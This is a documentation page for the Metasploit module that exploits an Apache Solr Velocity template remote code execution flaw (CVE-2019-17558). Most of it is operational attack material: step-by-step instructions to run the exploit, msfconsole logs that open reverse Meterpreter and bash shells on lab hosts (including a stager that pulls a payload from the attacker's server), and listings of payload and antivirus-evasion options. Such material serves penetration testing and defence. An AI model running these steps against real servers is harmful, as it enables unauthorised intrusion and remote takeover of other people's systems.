Apache Solr Remote Code Execution via Velocity Template - Metasploit


This page contains detailed information about how to use the exploit/multi/http/solr_velocity_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Apache Solr Remote Code Execution via Velocity Template
Module: exploit/multi/http/solr_velocity_rce
Source code: modules/exploits/multi/http/solr_velocity_rce.rb
Disclosure date: 2019-10-29
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): Linux, Unix, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 8983
List of CVEs: CVE-2019-17558

This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom Velocity template. Currently, this module only supports Solr basic authentication. From the Tenable advisory: An attacker could target a vulnerable Apache Solr instance by first identifying a list of Solr core names. Once the core names have been identified, an attacker can send a specially crafted HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity template parameter in a specially crafted Solr request, leading to RCE.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/http/solr_velocity_rce
msf exploit(solr_velocity_rce) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Description


This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom Velocity template. Currently, this module only supports Solr basic authentication.

From the Tenable advisory

Link: https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability

An attacker could target a vulnerable Apache Solr instance by first identifying a list of Solr core names. Once the core names have been identified, an attacker can send a specially crafted HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity template parameter in a specially crafted Solr request, leading to RCE.

Vulnerable Applications


Apache Solr <= 8.3.0

Verification Steps


  1. Start msfconsole
  2. use exploit/multi/http/solr_velocity_rce
  3. set RHOST <target_ip>
  4. set RPORT <target_port>
  5. set USERNAME <username> (if applicable)
  6. set PASSWORD <password> (if applicable)
  7. Ideally run check
  8. set TARGET based on output of check
  9. set PAYLOAD <payload_name> if you want to use other payloads
  10. set LHOST <your_ip>
  11. set LPORT <your_port>
  12. Optional: set VERBOSE true to get verbose output
  13. Optional: set TARGETURI <path_to_solr> if target system uses a different path to Apache Solr
  14. exploit and let the shells rain

Considerations


Privileges gained are dependent on the user running Solr. Currently, this module only supports basic auth.

The "Java (in-memory)" target should work on any vulnerable system regardless of OS. It requires that the victim system be able to make HTTP requests to the attack platform.

Windows systems have 3 targets: 1. x86/64 Windows PowerShell: Uses PowerShell to get a shell. Payload defaults to windows/meterpreter/reverse_tcp 2. x86/64 Windows CmdStager: Uses CmdStager to get a shell. Payload defaults to windows/meterpreter/reverse_tcp 3. Windows Exec: Executes a command and returns the output. Payload defaults to cmd/windows/generic

*nix systems have 2 targets: 1. Unix (in memory): Uses command execution. Payload defaults to cmd/unix/reverse_bash. Output may be returned depending on payload used. 2. Linux (dropper): Uses CmdStager. Payload defaults to linux/x86/meterpreter/reverse_tcp

Examples


Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, using PowerShell

msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
RHOSTS => 192.168.137.132
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 2
TARGET => 2
msf5 exploit(multi/http/solr_velocity_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Windows Server 2019 amd64 10.0
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[+] Found Powershell at C:\Windows\System32\WindowsPowerShell\v1.0\
[*] Sending stage (180291 bytes) to 192.168.137.155
[*] Meterpreter session 1 opened (192.168.137.128:4444 -> 192.168.137.155:50210) at 2020-03-29 00:04:01 +0800

meterpreter > sysinfo
Computer        : 2K19DTCTR
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
gSystem Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >

Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, using CmdStager

msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
RHOSTS => 192.168.137.132
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 3
TARGET => 3
msf5 exploit(multi/http/solr_velocity_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Windows Server 2019 amd64 10.0
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[*] Sending CmdStager payload...
[*] Command Stager progress -   7.05% done (7160/101541 bytes)
[*] Command Stager progress -  14.10% done (14320/101541 bytes)
[*] Command Stager progress -  21.15% done (21480/101541 bytes)
[*] Command Stager progress -  28.21% done (28640/101541 bytes)
[*] Command Stager progress -  35.26% done (35800/101541 bytes)
[*] Command Stager progress -  42.31% done (42960/101541 bytes)
[*] Command Stager progress -  49.36% done (50120/101541 bytes)
[*] Command Stager progress -  56.41% done (57280/101541 bytes)
[*] Command Stager progress -  63.46% done (64440/101541 bytes)
[*] Command Stager progress -  70.51% done (71600/101541 bytes)
[*] Command Stager progress -  77.56% done (78760/101541 bytes)
[*] Command Stager progress -  84.62% done (85920/101541 bytes)
[*] Command Stager progress -  91.67% done (93080/101541 bytes)
[*] Command Stager progress -  98.67% done (100188/101541 bytes)
[*] Sending stage (180291 bytes) to 192.168.137.155
[*] Command Stager progress - 100.00% done (101541/101541 bytes)
[*] Meterpreter session 2 opened (192.168.137.128:4444 -> 192.168.137.155:50211) at 2020-03-29 00:06:01 +0800

meterpreter > sysinfo
Computer        : 2K19DTCTR
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >

Windows Server 2019 Datacenter, fully patched, Solr 8.3.0, no authentication, with payload cmd/windows/generic

msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.155
RHOSTS => 192.168.137.132
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 4
TARGET => 4
msf5 exploit(multi/http/solr_velocity_rce) > set CMD whoami
CMD => whoami
msf5 exploit(multi/http/solr_velocity_rce) > exploit

[*] Found Apache Solr 8.3.0
[*] OS version is Windows Server 2019 amd64 10.0
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[+] 2k19dtctr\administrator
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/solr_velocity_rce) >

Bitnami Solr VM 8.3.0, requiring basic authentication, command execution in-memory, with payload cmd/unix/reverse_bash

msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
RHOSTS => 192.168.137.129
msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80
RPORT => 80
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 0
TARGET => 0
msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user
USERNAME => user
msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
PASSWORD => j6lzH82e6Jc5
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 4.9.0-11-amd64
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[*] Command shell session 17 opened (192.168.137.128:4444 -> 192.168.137.129:48600) at 2020-03-29 00:20:50 +0800

id
uid=999(solr) gid=1002(solr) groups=1002(solr)

Bitnami Solr VM 8.3.0, requiring basic authentication, command execution in-memory, with payload cmd/unix/generic

msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
RHOSTS => 192.168.137.129
msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80
RPORT => 80
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 0
TARGET => 0
msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user
USERNAME => user
msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
PASSWORD => j6lzH82e6Jc5
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > set CMD whoami
CMD => whoami
msf5 exploit(multi/http/solr_velocity_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 4.9.0-11-amd64
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[+] solr
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/solr_velocity_rce) >

Bitnami Solr VM 8.3.0, requiring basic authentication, using CmdStager, with payload linux/x86/meterpreter/reverse_tcp

msf5 > use exploit/multi/http/solr_velocity_rce
msf5 exploit(multi/http/solr_velocity_rce) > set RHOSTS 192.168.137.129
RHOSTS => 192.168.137.129
msf5 exploit(multi/http/solr_velocity_rce) > set RPORT 80
RPORT => 80
msf5 exploit(multi/http/solr_velocity_rce) > set USERNAME user
USERNAME => user
msf5 exploit(multi/http/solr_velocity_rce) > set PASSWORD j6lzH82e6Jc5
PASSWORD => j6lzH82e6Jc5
msf5 exploit(multi/http/solr_velocity_rce) > set TARGET 1
TARGET => 1
msf5 exploit(multi/http/solr_velocity_rce) > set LHOST 192.168.137.128
LHOST => 192.168.137.128
msf5 exploit(multi/http/solr_velocity_rce) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/solr_velocity_rce) > exploit

[*] Started reverse TCP handler on 192.168.137.128:4444
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 4.9.0-11-amd64
[*] Found core(s): techproducts
[*] Targeting core 'techproducts'
[*] Using URL: http://0.0.0.0:8080/PDeRPN1t
[*] Local IP: http://192.168.137.128:8080/PDeRPN1t
[*] Client 192.168.137.129 (curl/7.52.1) requested /PDeRPN1t
[*] Sending payload to 192.168.137.129 (curl/7.52.1)
[*] Sending stage (985320 bytes) to 192.168.137.129
[*] Meterpreter session 18 opened (192.168.137.128:4444 -> 192.168.137.129:48604) at 2020-03-29 00:23:13 +0800
[*] Command Stager progress - 100.00% done (149/149 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.137.129
OS           : Debian 9.11 (Linux 4.9.0-11-amd64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the multi/http/solr_velocity_rce exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/solr_velocity_rce

[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/solr_velocity_rce) > show info

       Name: Apache Solr Remote Code Execution via Velocity Template
     Module: exploit/multi/http/solr_velocity_rce
   Platform: Linux, Unix, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-10-29

Provided by:
  s00py
  jas502n
  AleWong
  Imran E. Dawoodjee <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Java (in-memory)
  1   Unix (in-memory)
  2   Linux (dropper)
  3   x86/x64 Windows PowerShell
  4   x86/x64 Windows CmdStager
  5   Windows Exec

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD   SolrRocks        no        Solr password
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8983             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /solr/           no        Path to Solr
  USERNAME   solr             no        Solr username
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits a vulnerability in Apache Solr <= 8.3.0 which 
  allows remote code execution via a custom Velocity template. 
  Currently, this module only supports Solr basic authentication. From 
  the Tenable advisory: An attacker could target a vulnerable Apache 
  Solr instance by first identifying a list of Solr core names. Once 
  the core names have been identified, an attacker can send a 
  specially crafted HTTP POST request to the Config API to toggle the 
  params resource loader value for the Velocity Response Writer in the 
  solrconfig.xml file to true. Enabling this parameter would allow an 
  attacker to use the Velocity template parameter in a specially 
  crafted Solr request, leading to RCE.

References:
  https://www.exploit-db.com/exploits/47572
  https://nvd.nist.gov/vuln/detail/CVE-2019-17558
  https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability
  https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html
  https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/
  https://github.com/jas502n/solr_rce
  https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template

Module Options


This is a complete list of options available in the multi/http/solr_velocity_rce exploit:

msf6 exploit(multi/http/solr_velocity_rce) > show options

Module options (exploit/multi/http/solr_velocity_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   SolrRocks        no        Solr password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8983             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /solr/           no        Path to Solr
   USERNAME   solr             no        Solr username
   VHOST                       no        HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Java (in-memory)

Advanced Options


Here is a complete list of advanced options supported by the multi/http/solr_velocity_rce exploit:

msf6 exploit(multi/http/solr_velocity_rce) > show advanced

Module advanced options (exploit/multi/http/solr_velocity_rce):

   Name                                    Current Setting                                     Required  Description
   ----                                    ---------------                                     --------  -----------
   CMDSTAGER::DECODER                                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR                       auto                                                no        The CMD Stager to use. (Accepted: auto, curl, wget, vbs, certutil)
   CMDSTAGER::SSL                          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                                             no        Writable directory for staged files
   ContextInformationFile                                                                      no        The information file that contains context information
   DOMAIN                                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS                           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler                   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR                              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack                           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject                             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod                          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                                               no        The executable template file name.
   EnableContextEncoding                   false                                               no        Use transient context when encoding payloads
   FingerprintCheck                        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors                         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly                    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR                              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                                               no        The msi template file name
   MSI::UAC                                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   Powershell::encode_final_payload        false                                               yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false                                               yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false                                               yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false                                               yes       Encrypt PSH with RC4
   Powershell::method                      reflection                                          yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false                                               yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true                                                yes       Execute powershell without interaction
   Powershell::persist                     false                                               yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true                                                yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                                                   no        Prepend seconds of sleep
   Powershell::remove_comspec              false                                               yes       Produce script calling powershell directly
   Powershell::strip_comments              true                                                yes       Strip comments
   Powershell::strip_whitespace            false                                               yes       Strip whitespace
   Powershell::sub_funcs                   false                                               yes       Substitute function names
   Powershell::sub_vars                    true                                                yes       Substitute variable names
   Powershell::wrap_double_quotes          true                                                yes       Wraps the -Command argument in single quotes
   SSLCipher                                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                          false                                               no        Enable SSL/TLS-level compression
   SSLVersion                              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2
                                                                                                         )
   SendRobots                              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent                               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                                   no        Specify the workspace for this module
   WfsDelay                                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (java/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AESPassword                                   no        Password for encrypting communication
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   JavaMeterpreterDebug         false            no        Run the payload in debug mode, with logging enabled
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   Spawn                        2                yes       Number of subprocesses to spawn
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/solr_velocity_rce module can exploit:

msf6 exploit(multi/http/solr_velocity_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Java (in-memory)
   1   Unix (in-memory)
   2   Linux (dropper)
   3   x86/x64 Windows PowerShell
   4   x86/x64 Windows CmdStager
   5   Windows Exec

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/solr_velocity_rce exploit:

msf6 exploit(multi/http/solr_velocity_rce) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/generic/custom                                    normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/java/jsp_shell_bind_tcp                           normal  No     Java JSP Command Shell, Bind TCP Inline
   4   payload/java/jsp_shell_reverse_tcp                        normal  No     Java JSP Command Shell, Reverse TCP Inline
   5   payload/java/meterpreter/bind_tcp                         normal  No     Java Meterpreter, Java Bind TCP Stager
   6   payload/java/meterpreter/reverse_http                     normal  No     Java Meterpreter, Java Reverse HTTP Stager
   7   payload/java/meterpreter/reverse_https                    normal  No     Java Meterpreter, Java Reverse HTTPS Stager
   8   payload/java/meterpreter/reverse_tcp                      normal  No     Java Meterpreter, Java Reverse TCP Stager
   9   payload/java/shell/bind_tcp                               normal  No     Command Shell, Java Bind TCP Stager
   10  payload/java/shell/reverse_tcp                            normal  No     Command Shell, Java Reverse TCP Stager
   11  payload/java/shell_reverse_tcp                            normal  No     Java Command Shell, Reverse TCP Inline
   12  payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   13  payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/solr_velocity_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/solr_velocity_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed!


Here is a relevant code snippet related to the "Connection failed!" error message:

130:	    # see if authentication is required for the specified Solr instance
131:	    auth_check = solr_get('uri' => normalize_uri(target_uri.path))
132:	
133:	    # successfully connected?
134:	    unless auth_check
135:	      print_bad('Connection failed!')
136:	      return nil
137:	    end
138:	
139:	    # if response code is not 200, then the Solr instance definitely requires authentication
140:	    unless auth_check.code == 200

Credentials not provided, skipping credentialed check...


Here is a relevant code snippet related to the "Credentials not provided, skipping credentialed check..." error message:

138:	
139:	    # if response code is not 200, then the Solr instance definitely requires authentication
140:	    unless auth_check.code == 200
141:	      # if authentication is required and creds are not provided, we cannot reliably check exploitability
142:	      if datastore['USERNAME'] == '' && datastore['PASSWORD'] == ''
143:	        print_bad('Credentials not provided, skipping credentialed check...')
144:	        return nil
145:	      end
146:	
147:	      # otherwise, try the given creds
148:	      auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])

Connection failed!


Here is a relevant code snippet related to the "Connection failed!" error message:

148:	      auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
149:	      attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string)
150:	
151:	      # successfully connected?
152:	      unless attempt_auth
153:	        print_bad('Connection failed!')
154:	        return nil
155:	      end
156:	      # if the return code is not 200, then authentication definitely failed
157:	      unless attempt_auth.code == 200
158:	        print_bad('Invalid credentials!')

Invalid credentials!


Here is a relevant code snippet related to the "Invalid credentials!" error message:

153:	        print_bad('Connection failed!')
154:	        return nil
155:	      end
156:	      # if the return code is not 200, then authentication definitely failed
157:	      unless attempt_auth.code == 200
158:	        print_bad('Invalid credentials!')
159:	        return nil
160:	      end
161:	
162:	      store_valid_credential(
163:	        user: datastore['USERNAME'],

Authentication failed!


Here is a relevant code snippet related to the "Authentication failed!" error message:

174:	
175:	  # check for vulnerability existence
176:	  def check
177:	    auth_res = check_auth
178:	    unless auth_res
179:	      return CheckCode::Unknown('Authentication failed!')
180:	    end
181:	
182:	    # send a GET request to get Solr and system details
183:	    ver = solr_get(
184:	      'uri' => normalize_uri(target_uri.path, '/admin/info/system'),

Connection failed!


Here is a relevant code snippet related to the "Connection failed!" error message:

186:	      'auth' => @auth_string
187:	    )
188:	
189:	    # can't connect? that's an automatic failure
190:	    unless ver
191:	      return CheckCode::Unknown('Connection failed!')
192:	    end
193:	
194:	    # convert to JSON
195:	    ver_json = ver.get_json_document
196:	    # get Solr version

Running version of Solr is not vulnerable!


Here is a relevant code snippet related to the "Running version of Solr is not vulnerable!" error message:

207:	      vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")
208:	    end
209:	
210:	    # the vulnerability is only present in Solr versions <= 8.3.0
211:	    unless solr_version <= Rex::Version.new('8.3.0')
212:	      return CheckCode::Safe('Running version of Solr is not vulnerable!')
213:	    end
214:	
215:	    # enumerate cores
216:	    cores = solr_get(
217:	      'uri' => normalize_uri(target_uri.path, '/admin/cores'),

Could not enumerate cores!


Here is a relevant code snippet related to the "Could not enumerate cores!" error message:

